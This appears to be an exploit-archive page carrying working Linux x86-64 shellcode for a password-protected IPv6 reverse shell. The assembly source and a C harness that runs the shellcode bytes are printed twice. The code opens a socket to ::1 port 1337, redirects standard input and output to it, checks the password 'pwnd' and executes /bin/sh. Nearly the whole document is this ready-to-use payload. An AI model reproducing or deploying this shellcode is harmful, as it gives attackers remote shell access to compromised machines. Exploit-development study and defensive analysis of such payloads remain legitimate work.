Registerlinuxx64 reverse (::1:1337tcp) shell (binsh) + ipv6 + password (pwnd) shellcode (115 bytes)
▸▸▸ Exploit & Vulnerability >> shellcode exploit & linux_x86-64 vulnerability
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/* ; Title : Reverse Shell (IPv6) with Password - Shellcode ; Author : Hashim Jawad @ihack4falafel ; OS : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux ; Arch : x86_64 ; Size : 115 bytes section .text global _start _start: ; int socket(int domain, int type, int protocol) ; rax=41, rdi=10, rsi=1, rdx=0 xor esi,esi mul esi inc esi push 10 pop rdi add al, 41 syscall ; save socket fd in rdi xchg rbx,rax ; struct sockaddr_in6 struct push rdx ; scope id = 0 mov rcx,0xFEFFFFFFFFFFFFFF ; link local address ::1 not rcx push rcx push rdx push rdx ; sin6_flowinfo=0 push word 0x3905 ; port 1337 push word 10 ; sin6_family ; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen) ; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length) push rbx pop rdi push rsp pop rsi push 28 pop rdx push 42 pop rax syscall ; dup2 (new, old) ; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr) xchg rsi, rax push 0x3 pop rsi _loop: push 0x21 pop rax dec esi syscall loopnz _loop ; read (int fd, void *bf, size_t count) ; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd) xor rax, rax push rax pop rdi push rax push rsp pop rsi push 0x4 pop rdx syscall ; check passcode (pwnd) push 0x646e7770 pop rbx cmp dword [rsi], ebx jne _nop ; int execve(cont char *filename, char *const argv[], char *const envp[]) ; rax=59, rdi=/bin//sh, rsi=0, rdx=0 xor rax, rax push rax mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi push rax push rsp pop rsi cdq push 0x3b pop rax syscall _nop: nop */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); } /* ; Title : Reverse Shell (IPv6) with Password - Shellcode ; Author : Hashim Jawad @ihack4falafel ; OS : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux ; Arch : x86_64 ; Size : 115 bytes section .text global _start _start: ; int socket(int domain, int type, int protocol) ; rax=41, rdi=10, rsi=1, rdx=0 xor esi,esi mul esi inc esi push 10 pop rdi add al, 41 syscall ; save socket fd in rdi xchg rbx,rax ; struct sockaddr_in6 struct push rdx ; scope id = 0 mov rcx,0xFEFFFFFFFFFFFFFF ; link local address ::1 not rcx push rcx push rdx push rdx ; sin6_flowinfo=0 push word 0x3905 ; port 1337 push word 10 ; sin6_family ; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen) ; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length) push rbx pop rdi push rsp pop rsi push 28 pop rdx push 42 pop rax syscall ; dup2 (new, old) ; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr) xchg rsi, rax push 0x3 pop rsi _loop: push 0x21 pop rax dec esi syscall loopnz _loop ; read (int fd, void *bf, size_t count) ; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd) xor rax, rax push rax pop rdi push rax push rsp pop rsi push 0x4 pop rdx syscall ; check passcode (pwnd) push 0x646e7770 pop rbx cmp dword [rsi], ebx jne _nop ; int execve(cont char *filename, char *const argv[], char *const envp[]) ; rax=59, rdi=/bin//sh, rsi=0, rdx=0 xor rax, rax push rax mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi push rax push rsp pop rsi cdq push 0x3b pop rax syscall _nop: nop */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Linuxx64 reverse (::1:1337tcp) shell (binsh) + ipv6 + password (pwnd) shellcode (115 bytes) Vulnerability / Exploit Source : Linuxx64 reverse (::1:1337tcp) shell (binsh) + ipv6 + password (pwnd) shellcode (115 bytes)
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